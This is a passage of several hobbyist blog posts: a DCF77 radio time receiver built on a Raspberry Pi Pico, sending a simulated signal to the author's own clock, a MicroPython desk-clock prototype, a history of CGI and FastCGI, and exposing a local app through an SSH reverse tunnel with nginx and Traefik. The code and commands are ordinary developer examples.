}

fn calibration_value(line: &str) -> u32 {
  let numbers: Vec<u32> = line.chars()
    .filter_map(|c| c.to_digit(10))
    .collect();

  numbers.first().unwrap() * 10 + numbers.last().unwrap()
}

It's worth comparing it to my PHP solution, which is... how shall I put it... a bit less elegant (but at the time the goal was to solve the problem, not to write beautiful idiomatic PHP code):

<?php

$sum = 0;
foreach (file('input_1.txt') as $line) {
  $data = trim($line);
  preg_match('/^.*?(?P<digit>[0-9])/', $data, $m);
  $firstDigit = $m['digit'];
  preg_match('/.*(?P<digit>[0-9]).*?$/', $data, $m);
  $lastDigit = $m['digit'];

  $sum += intval($firstDigit . $lastDigit);
}

print("$sum\n");

Another good direction for practicing a new language (and its test environment) might be code Katas. Especially those that you have already solved in other languages so that solving the problem no longer causes any friction. But the Kata exercises are generally not that difficult anyway, so you can start without any prior preparation.

Well, that's how my days went with Rust. The next step will probably be to go back to the book for a bit to get a better understanding of some Rust-specific things (such as ownership/borrowing) and continue doing the small tasks alongside. How do you approach learning a new programming language?

The previous clock-building project made me think that there must be a simpler way. So I just bought a desk clock.

Well, that's not exactly how it happened. I just happen to have more than one time-related stuff to do in parallel. This little project, for example, is about how people had access to accurate time before the Internet.

Of course, they looked out of the window and read the time off of the church tower. Thanks to modern technology, we can do this relatively easily. We just point a camera at the church tower and use artificial intelligence to read the time based on the position of the clock hands.

But it's not that simple. Somehow we have to determine whether it is morning or afternoon and it probably wouldn't hurt to know what the date is. Not to mention if there isn't a church tower in sight.

Observant readers may have noticed that I wouldn't need a desk clock for this. Well, yes, that wasn't the direction I was going, I didn't want to go that much back in time. Actually, I wondered how radio-controlled clocks could work.

Radio time synchronization

It all starts with a transmitter tower. From my area, I can pick up the signal sent out by a German tower called DCF77, but there are several other ones covering the whole world.

In the case of the DCF77, the signal is generated from an atomic clock and transmitted in 60 seconds. One bit is received every second. The signal sequence is terminated by an extended pause. However, there is quite a lot of noise, so you may not have enough data when the longer pause arrives, or more likely you may have 59 bits of data before the pause arrives, so depending on reception conditions, it may take quite a while to synchronize.

All we need is a receiver. This is usually done with a ferrite rod antenna and some electronics. It is possible to order a receiver from China, but I didn't want to wait a month and then deal with the local postal service, so the quickest solution seemed to be to order a cheap radio-controlled clock and inspect it.

The victim

Looking inside the clock mentioned earlier, you can see that there is a separate printed circuit board at the bottom and a ferrite rod antenna underneath it. I soldered them out.

The clock has successfully survived the surgery, everything works the same, except that it has lost its (radio signal) hearing.

EMAX 6007 V1
GE16-1055R5
NEW GE13-887

The labels on the radio receiver didn't help me to find any description, but based on other similar boards I figured out that the GND goes to ground, you want 3.3 volts on the VCC, the PON can turn the whole module on and off (but doesn't need to be wired anywhere) and we left with the NTCO, so that must be the data.

I added some more wires with jumper connectors on the end so I could use it with a breadboard, and then I wired the whole thing to a Pico.

It would have been nice to get it right the first time. I spent a couple of hours here trying to find out why no data was coming from the antenna. I tried searching for any documentation of the module, connected the PON, tried different GPIO pins on the Pico, and even suspected the code, but in the end, I solved it by connecting the module to a dedicated power source and the Pico only received the data signal. Probably the Pico could not supply enough power to the device.

Bits in the noise

We see some kind of data coming in, let's do something with it. At first, I just started flashing the LED on the Pico to get feedback on what was happening.

#include "pico/stdlib.h"

#define DCF_PIN 16
#define LED_PIN 25

void on_change(uint gpio, uint32_t event_mask) {
  gpio_put(LED_PIN, event_mask & GPIO_IRQ_EDGE_RISE);
}

int main() {
  gpio_init(DCF_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  gpio_set_irq_enabled_with_callback(
    DCF_PIN,
    GPIO_IRQ_EDGE_FALL | GPIO_IRQ_EDGE_RISE,
    true,
    &on_change
  );

  while (true) {
    sleep_ms(1000);
  }
}

The next step is to start measuring how long the signal is high and low. According to the documentation, 0 is received when the signal is high for 100 milliseconds, and 1 is received when the signal is high for 200 milliseconds. Since there is one bit per second, there should be 800-900 milliseconds of low between two high states. In the last second, no data is coming in, so there is a low state for 1800-1900 milliseconds.

First, we define some constant values for noise filtering, to determine whether we got 0 or 1 and to detect the end of the data.

#define MINIMAL_HIGH_PULSE_WIDTH 50
#define MINIMAL_LOW_PULSE_WIDTH 700
#define PULSE_WIDTH_THRESHOLD 150
#define END_OF_DATA_PULSE_WIDTH 1500

Then we will also need some variables to store the time of previous state changes and the data that has arrived so far.

uint32_t rise_time = 0;
uint32_t fall_time = 0;

uint64_t buffer = 0;
uint32_t buffer_position = 0;

After that, we only need to write the inside of on_change. We ask the Pico how many milliseconds have elapsed since it was started.

uint32_t now = to_ms_since_boot(get_absolute_time());

Then we do some noise filtering, otherwise it would be almost impossible to get the time.

if (now - fall_time < MINIMAL_LOW_PULSE_WIDTH) {
  return;
}

if (now - rise_time < MINIMAL_HIGH_PULSE_WIDTH) {
  return;
}

If the signal has gone from low to high, we check to see if the low signal was long enough to indicate the end of the data. If at that point we got 59 bits of data, then all is OK, if not, we start over.

if (event_mask & GPIO_IRQ_EDGE_RISE) {
  rise_time = now;

  if (rise_time - fall_time > END_OF_DATA_PULSE_WIDTH) {
    if (buffer_position == 59) {
      printf(" - data received: %lld\n", buffer);
    }
    else {
      printf(" - reset: not enough data\n");
    }
    buffer = buffer_position = 0;
  }
}

If the signal went from high to low, we decide whether we got a 0 or a 1 based on the length of the signal and store the result in the buffer. Here we may have more data than we need (due to noise), if this is the case we start over.

else if (event_mask & GPIO_IRQ_EDGE_FALL) {
  fall_time = now;

  uint64_t next_bit = fall_time - rise_time > PULSE_WIDTH_THRESHOLD ? 1 : 0;

  printf("%lld", next_bit);

  buffer |= next_bit << buffer_position;
  ++buffer_position;

  if (buffer_position > 59) {
    printf(" - reset: too much data\n");
    buffer = buffer_position = 0;
  }
}

If all goes well, we will have a series of data at the end, hopefully with the current exact time.

The data is flowing in very slowly...

Let's be sure

Noise has been mentioned several times, which can be a big problem. In the room where I have my desktop and servers, I have not even been able to extract any usable data. I had to move to another room with a laptop so I could test the code. During the day there was a lot of noise and it took me half an hour to get the exact time, but in the evening I got the data almost every minute.

So we have a bunch of bits, but we don't know if the fact that we thought we got a 1 actually meant that the other side sent a 1. To check this, there are three parity bits in the data, which are 0 if the data before it has an even number of 1s and 1 if it is odd. First, let's look at how to calculate parity for an arbitrary int:

int parity(int num) {
  num ^= num >> 16;
  num ^= num >> 8;
  num ^= num >> 4;
  num ^= num >> 2;
  num ^= num >> 1;
  return num & 1;
}

I won't go into the details, the Stack Overflow page I stole the code from has a great explanation. Also, we need to know which ones are the parity bits and what data they are calculated on. We can look this up on the related Wikipedia page. For example, for minutes:

int min_data = (int) ((buffer >> 21) & 0b1111111);
int min_parity = (int) ((buffer >> 28) & 1);

if (parity(min_data) != min_parity) {
  printf("invalid parity for minute\n");
}

We shift the buffer to the right by 21 bits (effectively discarding the first 21 bits), because the data for the minute starts at bit 22 and we take the first 7 bits (& 0b1111111) because that's how long the minute data is.

For parity, the first 28 bits are discarded and only 1 bit of the remaining data is retained. The parity we calculate should match the parity we got.

The hour and date are checked similarly, only the number of right shifts and the amount of data retained afterward varies.

int hour_data = (int) ((buffer >> 29) & 0b111111);
int hour_parity = (int) ((buffer >> 35) & 1);

if (parity(hour_data) != hour_parity) {
  printf("invalid parity for hour\n");
}

int date_data = (int) ((buffer >> 36) & 0b1111111111111111111111);
int date_parity = (int) ((buffer >> 58) & 1);

if (parity(date_data) != date_parity) {
  printf("invalid parity for date\n");
}

It's time

Once the buffer has passed the checks, all we need to do is extract the data and set the exact time on the Pico. First, let's look at the minutes here too.

int min = (int) ((buffer >> 21) & 0b1111111);
min = (min >> 4) * 10 + (min & 0b1111);

The extraction of the data is the same as for parity, but since the data is represented as a binary-coded decimal, there is a little extra work to do (the first four bits are the first digit, the second four bits (which are only three in this case) are the second digit).

The rest of the data can be obtained similarly, for the day of the week (dow), Sunday comes as a 7 and Pico wants to get that as a 0. Also, for the year, we have to add 2000 to the value because we only get the last two digits of the year.

int hour = (int) ((buffer >> 29) & 0b111111);
hour = (hour >> 4) * 10 + (hour & 0b1111);

int dom = (int) ((buffer >> 36) & 0b111111);
dom = (dom >> 4) * 10 + (dom & 0b1111);

int dow = (int) ((buffer >> 42) & 0b111);
if (dow == 7) {
  dow = 0;
}

int month = (int) ((buffer >> 45) & 0b11111);
month = (month >> 4) * 10 + (month & 0b1111);

int year = (int) ((buffer >> 50) & 0b11111111);
year = 2000 + (year >> 4) * 10 + (year & 0b1111);

Now we just have to tell the Pico RTC module what the exact time is.

rtc_init();

datetime_t t = {
  .year = (int16_t) year,
  .month = (int8_t) month,
  .day = (int8_t) dom,
  .hour = (int8_t) hour,
  .min = (int8_t) min,
  .sec = 0,
  .dotw = (int8_t) dow,
};

rtc_set_datetime(&t);

And that's it, we've got the exact time without the Internet.

The other direction

We are left with one poor, unfortunate clock that now can't synchronize itself because we've taken the radio module away. Then my dear colleague potato came up with the idea of giving it a fake signal, so I found myself once again unscrewing the clock and soldering some jumper cables in place of the old module. At first just for the GND and NTCO, but later I wired in the PON as well.

I connected it to the Pico and started sending it a signal, but the clock didn't like it so much.

At first, I suspected that it was the lack of the PON connection that was causing the problem, that the clock was getting a signal when it wasn't expecting it, so I plugged that in, but the flashing didn't get any better. Then I suspected the soldering, that I might have accidentally shorted something, but after a few minutes of examining it with a magnifying glass, everything looked fine.

Finally, I became suspicious that the Pico was putting out 3.3 volts and the clock was only running on 3 volts, so maybe 3.3 volts was too much for it. I pulled some resistors from a box, but couldn't find one that solved the problem by itself. After connecting one resistor the situation improved, after two it seemed to be fixed, so I finally connected three just in case.

Now we just need a little bit of code. I tried to replay previously recorded real data, which I repeated every minute, but the clock didn't care. I ran into a few bugs that I sent out the wrong data, but even after correcting these it still didn't work. I tweaked the timing a bit to see if the way I sent it was too accurate or something, but no. In the end, the solution was that the clock wanted to be sure and one data series wasn't enough for it. It needs two successful data series in a row to set the time on itself.

#include <stdio.h>

#include "pico/stdlib.h"

#define DCF_SIGNAL_PIN 12
#define DCF_ENABLED_PIN 13
#define LED_PIN 25

int main() {
  stdio_init_all();

  gpio_init(DCF_SIGNAL_PIN);
  gpio_init(DCF_ENABLED_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_SIGNAL_PIN, GPIO_OUT);
  gpio_set_dir(DCF_ENABLED_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  uint64_t buffers[] = {
    //-----PYYYYYYYYMMMMMWWWDDDDDDPHHHHHHPmmmmmmm1AZZARxxxxxxxxxxxxxx0
    0b0000000010010000001111100001001011100000000101000010100001000100,
    0b0000000010010000001111100001001011110000001101000010100001000100,
    0b0000000010010000001111100001001011110000010101000010100001000100,
    0b0000000010010000001111100001001011100000011101000010100001000100,
    0b0000000010010000001111100001001011110000100101000010100001000100,
    0b0000000010010000001111100001001011100000101101000010100001000100,
  };
  int buffer_idx = 0;

  while (true) {
    if (gpio_get(DCF_ENABLED_PIN)) {
      printf("dcf module is not enabled\n");
      sleep_ms(5000);
      continue;
    }

    uint64_t b = buffers[buffer_idx];
    ++buffer_idx;

    int length;
    for (int i = 0; i < 59; ++i) {
      length = b & 1 ? 200: 100;
      printf(b & 1 ? "1" : "0");

      gpio_put(LED_PIN, true);
      gpio_put(DCF_SIGNAL_PIN, true);
      sleep_ms(length);

      gpio_put(LED_PIN, false);
      gpio_put(DCF_SIGNAL_PIN, false);
      sleep_ms(1000 - length);

      b >>= 1;
    }
    printf("\n");

    sleep_ms(1000);
  }
}

I wanted to avoid to implement the data conversion and bit magic so I just used fixed values for the time. Anyway, the clock starts synchronizing after powering on, and after a few minutes, it sets the "accurate" time it got from the "radio signal". The LED on the Pico flashes to the beat of the signal.

I think that's the end of our little journey, we've exhausted almost all the entertainment that a cheap radio-controlled clock can offer. There's also a temperature sensor, a Piezo buzzer, and an LED backlight in it for the ones who need more adventure.

I've been thinking for a while now that it would be an interesting project to put together a desk clock. It could have, say, a stopwatch, multiple countdown timers that can run in parallel, maybe displaying temperature and humidity as well, that sort of thing. But life's not that easy, so we won't get that far.

First of all, I ordered some parts:

• a backlit LCD with some buttons on it
• a Debug Probe, which I just wanted to try out
• and a Pico W to power it all

Then the fun can begin... after we forget about it all for a month or so.

C/C++ SDK

The problems have started to appear with the Debug Probe already. Although the thing is smaller than if we had converted a Pico, but it cannot power the Pico being debugged, so overall, the more cables made it a bit of a letdown for me.

Regardless of whether it was a Picoprobe or a Debug Probe, in both cases, I needed extra hardware (which I purchased earlier, fortunately) to connect both the display and the probe to the Pico at the same time.

I've mentioned before that the CLion solution worked quite well on Linux, but on Windows I couldn't get it to work. This is only a problem because I have Linux installed on my laptop and Windows on my desktop and it's inconvenient for me to do longer development projects on a laptop.

So I tried to get it to work on Windows again, this time using WSL2. Things installed nicely in WSL2 according to the Linux guide and with the help of usbipd-win I was able to share the Pico with it. CLion has WSL2 support too, so it was able to build the project successfully, but it can't run OpenOCD in WSL2, so unfortunately, debugging didn't work. There is a ticket about it, so maybe this will be fixed one day.

This is a good way to get a project abandoned for a while (or forever), but in this case, I had another plan. There is an alternative solution: MicroPython. If we can let go of the lightning-fast C code, we can write it all in Python. It might even be enough for a prototype.

MicroPython

Of course, I was not satisfied with the recommended (working) solution, which was the Python IDE called Thonny. I have no particular problem with it, but if I already have a PyCharm, I would like to use it. Fortunately, there is a MicroPython plugin for it, which allowed me to upload the code to Pico without any problems.

First, we need to copy the MicroPython UF2 file to the Pico. In our case, we need to use the one supplied by the LCD display manufacturer so that we can access the modules that drive the LCD. The hardware part is also made considerably simpler this way. No need for the Debug Probe, we can connect the Pico directly to the display.

Code completion

Life would obviously be too simple if everything just worked. The first problem was code completion. The MicroPython plugin has some support, but it was not enough. Fortunately, there are stubs like micropython-rp2-pico_w-stubs which partially solve the problem, but of course, because of the modified MicroPython, some modules are not known by this stub. Fortunately, the vendor has made a stub for their own modules, but I couldn't find an official pip package, so I just downloaded the ZIP and installed it from the filesystem.

I would like to say that everything went smoothly after that... but no. For example, there was the GfxPack class that PyCharm didn't recognize the display property of. I'm not that familiar with stubs, but at a glance that seemed fine:

class GfxPack:
    # ...

    def __init__(self):
        self.display: PicoGraphics
        self.i2c: PimoroniI2C

So there may be something wrong with PyCharm. When I modified the stub a bit, it worked well:

class GfxPack:
    # ...

    display: PicoGraphics
    i2c: PimoroniI2C

    def __init__(self):
        ...

But now. Everything must be good now, right? Wrong. Let's just say it's usable. There are still some oddities around imports, it doesn't offer to import certain modules, but if I import them manually, it recognizes them.

In any case, we can write code and run it on Pico, but the MicroPytho REPL within PyCharm doesn't work for some reason. We don't see any prints sent to serial or even the stack trace of an exception, which doesn't make life any easier. I can connect to it using PuTTY and it works, but as long as PuTTY is connected to it, PyCharm can't send code to it, so it's a bit inconvenient. I'm sure it would work on Linux.

The clock

We should create something clock-like at the end, so we have some sense of achievement. First, I drew the layout on the computer and exported it in WBMP format (anyone else remember WAP?), which I could then quite easily read and display on the screen so I could view it on the actual hardware.

from gfx_pack import GfxPack


gp = GfxPack()
gp.set_backlight(0, 180, 60, 140)

with open('pico-clock.wbm', 'rb') as f:
    buffer = bytearray([b ^ 0xFF for b in f.read()[-1024:]])

gp.display.set_framebuffer(buffer)
gp.display.update()

The WBMP format has a variable size header at the beginning, but we know the size of the data because the display (and therefore the image) is 128*64 pixels. Each bit stores the state of one pixel, so the data is (128/8)*64, or 1024 bytes. Fortunately, the format of the framebuffer is exactly the same, so we have an easy job. The image originally appeared as a negative, so we had to invert the bits using b ^ 0xFF.

There were also some minor problems around PyCharm again. It didn't automatically copy the image file to Pico, I had to right-click on the file and press Run 'Flash pico-clock.wbm...' (every time the image was updated).

Now that we have the layout, we can forget about it and finally put together a prototype. The first step would be to get on WiFi and get an accurate time using NTP:

import network
import ntptime
import time


wlan = network.WLAN(network.STA_IF)
wlan.active(True)
wlan.connect('SSID', 'secret')

while not wlan.isconnected():
    print('WLAN is not ready\n')
    time.sleep(1)

ntptime.host = 'hu.pool.ntp.org'
ntptime.settime()

wlan.disconnect()

And then we display it nicely:

from gfx_pack import GfxPack


gp = GfxPack()
gp.set_backlight(0, 0, 0, 40)

while True:
    t = time.localtime()

    gp.display.set_pen(0)
    gp.display.clear()
    gp.display.set_pen(15)

    gp.display.set_font('bitmap6')
    gp.display.text(f'{t[0]}. {t[1]:02}. {t[2]:02}.', 0, 0)

    gp.display.set_font('bitmap14_outline')
    gp.display.text(f'{t[3]:02}:{t[4]:02}', 0, 20)
    if t[5] % 2:
        gp.display.set_pen(15)
    else:
        gp.display.set_pen(0)
    gp.display.text(':', 32, 20)

    gp.display.update()

    time.sleep_ms(30)

Maybe even add some backlight to it to make it look a bit more like a Casio watch from the nineties.

light_timeout = None
while True:
    if not light_timeout and gp.switch_pressed(SWITCH_E):
        light_timeout = time.time_ns() + 2000000000
        gp.set_backlight(0, 180, 60, 140)

    if light_timeout and light_timeout < time.time_ns():
        light_timeout = None
        gp.set_backlight(0, 0, 0, 40)

    # ...

The final result (after adding some extra status information):

Even for a prototype, it's still missing a lot of things, but unfortunately, this is as far as the project got in the first round. Also, MicroPython can't handle time zones, so we have to move to a country with a UTC timezone to use it.

What will happen to the clock after this? Will it go to the bottom of the drawer or will we see it in the future? Only time will tell.

The year is 1993. You need to develop a dynamic website, let's say a guestbook, which was quite popular at the time. How would you go about it? If your answer is to google how to do it, I have sad news for you, Google won't be a thing for another 5 years. AltaVista is still two years away. Stack Overflow? Another 15 years... Sure it wasn't easy to be a developer in the old days.

Sometimes it's good to look back to those old days to see if we can avoid the mistakes they made or prevent us from reinventing the wheel. That was one of my motivators to go on an adventure and learn about how web development evolved into what we know today.

Common Gateway Interface

They started to develop it in the early 1990s and a little later it became RFC 3875. As the name suggests, it is an interface between a web server and an application. What this means in practice is that if you have an arbitrary executable file, the web server can run it - after proper configuration - and return the output as a response.

The request data is received in environment variables and via standard input, and the response must be produced to the standard output, with small syntactic restrictions (the response must start with a Content-Type header).

The advantage is that it's simple, just copy a file to a directory, make it executable and you're done. The disadvantage is that each request means starting a new process, which can be slow and doesn't scale very well.

The easiest way to detect such configurations was that these applications usually lived in the /cgi-bin/ directory, which is still checked by automatic scanning tools today to see if they can find anything interesting there.

And when I said arbitrary executable, I meant it. Even a shell script can be the basis of a dynamic web page (if you are brave enough to parse query strings and multipart requests in a shell script):

#!/bin/sh

echo "Content-Type: text/plain"
echo
echo "Hello World!"

echo
echo "Environment:"
env

echo
echo "Input:"
cat -
echo

If you call this endpoint, the following data will be returned:

$ curl -d'foo=bar' 'http://127.0.0.1:8081/cgi-bin/test.sh?foo=bar'
Hello World!

Environment:
CONTENT_TYPE=application/x-www-form-urlencoded
GATEWAY_INTERFACE=CGI/1.1
REMOTE_ADDR=192.168.16.1
SHLVL=1
QUERY_STRING=foo=bar
HTTP_USER_AGENT=curl/7.88.1
DOCUMENT_ROOT=/usr/local/apache2/htdocs
REMOTE_PORT=51282
HTTP_ACCEPT=*/*
SERVER_SIGNATURE=
CONTENT_LENGTH=7
CONTEXT_DOCUMENT_ROOT=/usr/local/apache2/cgi-bin/
SCRIPT_FILENAME=/usr/local/apache2/cgi-bin/test.sh
HTTP_HOST=127.0.0.1:8081
REQUEST_URI=/cgi-bin/test.sh?foo=bar
SERVER_SOFTWARE=Apache/2.4.58 (Unix)
REQUEST_SCHEME=http
PATH=/usr/local/apache2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=POST
SERVER_ADDR=192.168.16.2
SERVER_ADMIN=you@example.com
CONTEXT_PREFIX=/cgi-bin/
PWD=/usr/local/apache2/cgi-bin
SERVER_PORT=8081
SCRIPT_NAME=/cgi-bin/test.sh
SERVER_NAME=127.0.0.1

Input:
foo=bar

The names of the environment variables may be familiar, they have been adopted in many places, probably to ease the transition from CGI.

The possibilities are endless, I've thrown in a few extra examples in the related Github repository (compiled binary from C code? Why not!), but Perl was probably the real star of the cgi-bin directory back then:

#!/usr/bin/perl

print "Content-type: text/plain\n\nHello, World.\n";

print "\nEnrivonment:\n";
foreach my $key (keys %ENV) {
    print "$key=$ENV{$key}\n";
}

print "\nInput:\n";
while (<>) {
    print;
}
print "\n";

Then in 1995, PHP arrived. At first, it was still a CGI script as well.

#!/usr/bin/php82
<?php

print("Content-Type: text/plain\n\nHello World!\n");

print("\nEnvironment:\n");
var_dump($_SERVER);

print("\nInput:\n");
var_dump(file_get_contents('php://stdin'));

Here I was a bit surprised to find the correct data in the $_SERVER array and not in the $_ENV array, maybe it's the newer PHP, or maybe I should have called it differently for CGI scripts, I don't know. But it doesn't really matter, because we could soon leave the CGI behind.

Alternative solutions

FastCGI

Also around 1995, FastCGI was released, which aims to address the performance problems of CGI. Based on the CGI::Fast package in Perl, it seems to work in several ways. A web server can start a CGI process in one or more instances, sending it FCGI requests on standard input and waiting for FCGI responses on standard output. It can also work by having the web server and the FCGI process communicate via a Unix socket or a regular network socket. The web server then converts the FCGI response to an HTTP response and you are done.

According to the protocol description, the web server can send multiple requests to a process at the same time, which the FCGI process can process in parallel if it supports it.

The advantage of this system is that it is easier to implement an FCGI server than an HTTP server (the original HTTP/1.0 RFC 1945 is 60 pages long, and the HTTP/1.1 RFC 2068 is 162 pages long). The disadvantage may be that there is a fairly trusting relationship between the web server and the FCGI server, so if someone else can accidentally talk to the FCGI server directly, it may not end well (for example, the FCGI server code may not handle malformed requests as well as the HTTP server, or it may be possible to bypass the authentication enforced by the web server this way).

As I mentioned, the FastCGI protocol is simpler than HTTP, so applications can more easily implement it. Just for fun, I quickly threw together a simple Python FCGI server that can return a similar response as our previous CGI scripts to any request.

mod_php

Around 1997, PHP 3 and the mod_php Apache module were released. At least based on my web archive findings, I concluded that mod_php came with PHP 3, but I'm not entirely sure. It's probably not that relevant to the story.

In the case of mod_php, the PHP interpreter runs inside the Apache process and executes the PHP files that way. The tighter integration has its advantages because you don't have to start a new process per request, but it has its drawbacks as well. The PHP interpreter still occupies memory even if the request is for a static file.

All in all, however, we can say it was quite successful, and to date, it is the recommended way to run PHP code with an Apache web server.

Simple Common Gateway Interface

FastCGI proved to be not simple enough, so a new competitor, SCGI, was introduced around 2001. The SCGI protocol is much simpler, but only one request can be made on a connection at a time.

For comparison, I have written a simple little SCGI server in Python as well that works similarly to the FastCGI server.

FastCGI, second round

In 2010, just over 15 years after the protocol's release, FastCGI support for PHP arrived in the form of the FastCGI Process Manager (FPM).

On top of that, some people got tired of Apache being too slow (a recurring theme throughout our story), and they brought us the Nginx web server in 2004. Now we have a decent alternative to Apache and mod_php in the form of Nginx and PHP-FPM.

The world is changing

As time went by, more and more languages wanted to be web-compatible. In 2003 came Python with WSGI, and in 2004 Ruby on Rails was released, which could initially run as CGI, FastCGI, or later with mod_ruby. Then in 2007 came Rack, which is a similar interface to WSGI for Ruby.

This works roughly by getting the HTTP request data from somewhere (web server written in the language, CGI, FCGI, whatever), it is then transformed into a unified structure according to the web interface of the language, which is then received by the application.

For Python, for example, this might look like this:

HTTP request -> Gunicorn -> WSGI environment -> Flask -> the code we wrote

For Ruby, something like this:

HTTP request -> Unicorn -> Rack environment -> Sinatra -> the code we wrote

While in theory, the source of the HTTP request could be several things, in practice it seems that the web server written in the language of choice has been the winner. Interestingly, this is where we start to move away from the technologies that were previously invented. Why implement a complicated HTTP server when there is a simpler alternative? Wouldn't an FCGI or SCGI server have been enough? Who knows.

Modern web development

Around 2009, Node.js was released because again someone didn't like that Apache was too slow and couldn't handle enough requests. Go was also released around that time. Both languages included HTTP servers in their standard library, which I think decided how web applications would be developed in these languages.

The general solution was to write frameworks around the built-in HTTP server, and applications would use those frameworks, so each application became its own web server.

Of course, the world has changed a lot in that time. Large applications have been split up into many small applications, where it has become increasingly rare to return full or partial HTML pages (so much so that rendering templates on the server side is a novelty for the newer generation), and so the needs have changed as well.

There are usually already some proxies in front of applications (HAProxy, Nginx, Traefik, and others) that deal mostly with HTTP requests, so it would just be an extra (probably unnecessary) moving part in the system to have another HTTP server in front of the application, whose only job is to translate from HTTP to, say, FCGI.

There's a good chance that optimization doesn't matter as much as it used to either. You don't necessarily have to have the HTTP server written in C, a Python implementation can still provide the performance you need.

Summary

We've come a long way, and perhaps forgotten a lot during the journey, but the things mentioned above are still alive and well (or at least functional), you can even try them out with the related CGI playground repository. There may even be cases where they are worth using. It would be a shame to waste a Kubernetes cluster on a problem that a CGI script can solve without an issue.

It could happen that we want to give someone access to some stuff that's running on our computer. Say you're developing an application and you want to share the current state with someone without having to push every little change and then wait for the build to finish to see the changes on the staging environment.

Depending on the network, this can be a rather complicated operation (firewalls, port forwarding, NAT traversal). Perhaps that's why there are services to solve this problem (quite a few, actually), but it wouldn't be a very interesting post if we'd go in that direction.

Rather, we will try to look for common household items that can solve this problem. One such tool is the SSH client, which almost everyone has at the bottom of their drawer (especially since it's been part of Windows for a while). In addition, we'll need a parchment-lined baking sheet publicly available server (like a cheap VPS from a cloud provider) and we're ready to get this party started.

Easy mode

Say, we have an application on the local machine that waits for incoming connections at 127.0.0.1:8080. We will simulate this with a simple Python HTTP server:

local:~$ mkdir fake-app
local:~$ cd fake-app
local:~/fake-app$ echo 'hello world' >index.html
local:~/fake-app$ python -m http.server -b 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...

Let's grab another terminal and try it out:

local:~$ curl 127.0.0.1:8080
hello world

We also have a VPS, which we named tunnel.example.org. With this setup, we can issue the following command on our local machine:

local:~$ ssh -R 8080:127.0.0.1:8080 user@tunnel.example.org

This will allow us to access our local application on the tunnel machine on port 8080 (SSH remote port forwarding). You can try this on the tunnel machine:

tunnel:~$ curl 127.0.0.1:8080
hello world

SSH will bind to 127.0.0.1 on the server (probably for security reasons), so we won't be able to access the application from outside, even if our firewall rules would otherwise allow it.

local:~$ curl tunnel.example.org:8080
curl: (7) Failed to connect to tunnel.example.org port 8080 after 30 ms: Couldn't connect to server

This can be circumvented by changing GatewayPorts in /etc/ssh/sshd_config to clientspecified and slightly modifying our ssh command:

local:~$ ssh -R 0.0.0.0:8080:127.0.0.1:8080 user@tunnel.example.org

Now this should work if you also have the right firewall settings:

local:~$ curl tunnel.example.org:8080
hello world

It may be a good solution for your own use, but it would be a bit more elegant to stick with the first version and start an nginx on the tunnel machine instead, which forwards requests to 127.0.0.1:8080:

/etc/nginx/sites-available/tunnel

server {
    listen 80;
    server_name tunnel.example.org;

    location / {
        proxy_pass http://127.0.0.1:8080/;
    }
}

Enabling the site and reloading the nginx configuration:

tunnel:~# ln -s /etc/nginx/sites-available/tunnel /etc/nginx/sites-enabled/
tunnel:~# systemctl reload nginx

And we're done:

local:~$ curl tunnel.example.org
hello world

Maybe nginx seems like overkill in this situation, but once it's there, we can use it for other things as well:

• a custom error page if the local application is not running or we are not connected via ssh
• logging
• HTTPS between nginx and external clients
• mTLS between the local application and nginx (this would probably need another nginx on the local machine as well)
• basic authentication for external clients

There you have it, our simple solution, using a not-too-complicated SSH command to share your local application with others. The only drawback is that only one person can use it to share only one application on a fixed address. Probably 99% of the time this will be enough, but let's look at a slightly more complicated solution. Just for the fun of it.

Advanced mode

There is a nice feature in the SSH client that if you set the remote port to zero in the command then it will listen on a random port on the remote machine:

local:~$ ssh -R 0:127.0.0.1:8080 user@tunnel.example.org
Allocated port 41025 for remote forward to 127.0.0.1:8080

[...]

So, we could do something like generating a random host when connecting (<random>.tunnel.example.org), and nginx would forward requests coming to this random host to the appropriate port on the tunnel machine. This would solve our one-person/one-application problem.

As far as I can tell, nginx does not excel at dynamic configurations. You could generate files and reload nginx, but this solution does not appeal to me so much. Then I remembered that Traefik is nice and dynamic, it has a provider that can configure things based on Redis key-values, so I started to go in that direction.

The Traefik installation is not too friendly if you don't want to use Docker. But Docker (Swarm) on the other hand is not too friendly in accessing services listening on 127.0.0.1 on the host machine, so we're still better off with that.

There's nothing left to do but download the binary and run it somehow.

tunnel:~# mkdir -p /opt/traefik
tunnel:~# cd /opt/traefik
tunnel:/opt/traefik# wget https://github.com/traefik/traefik/releases/download/v2.10.5/traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# tar -xf traefik_v2.10.5_linux_amd64.tar.gz
tunnel:/opt/traefik# rm traefik_v2.10.5_linux_amd64.tar.gz

My first thought was just to get away with running a ./traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80 & command and let it do its things in the background. That would be enough to test things, but in the end, I just created a systemd service file for it.

/etc/systemd/system/traefik.service

[Unit]
Description=traefik
After=network-online.target
Wants=network-online.target systemd-networkd-wait-online.service

[Service]
Restart=on-abnormal
User=traefik
Group=traefik
ExecStart=/opt/traefik/traefik --providers.redis.endpoints=127.0.0.1:6379 --entrypoints.web.address=:80
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
AmbientCapabilities=CAP_NET_BIND_SERVICE
NoNewPrivileges=true

To make it work, we need a traefik user and group, and a Redis server.

tunnel:~# adduser --disabled-login --disabled-password --no-create-home traefik
tunnel:~# apt-get install redis-server

Then we just have to reload the systemd related things.

tunnel:~# systemctl daemon-reload
tunnel:~# systemctl start traefik.service

First of all, I wanted to reproduce the original behavior before I started to figure out the dynamic parts, so I set the following key-value pairs in Redis:

tunnel:~# redis-cli
127.0.0.1:6379> SET traefik/http/services/tunnel-service/loadbalancer/servers/0/url http://127.0.0.1:8080/
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/rule Host(`tunnel.example.org`)
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/entrypoints/0 web
127.0.0.1:6379> SET traefik/http/routers/tunnel-router/service tunnel-service

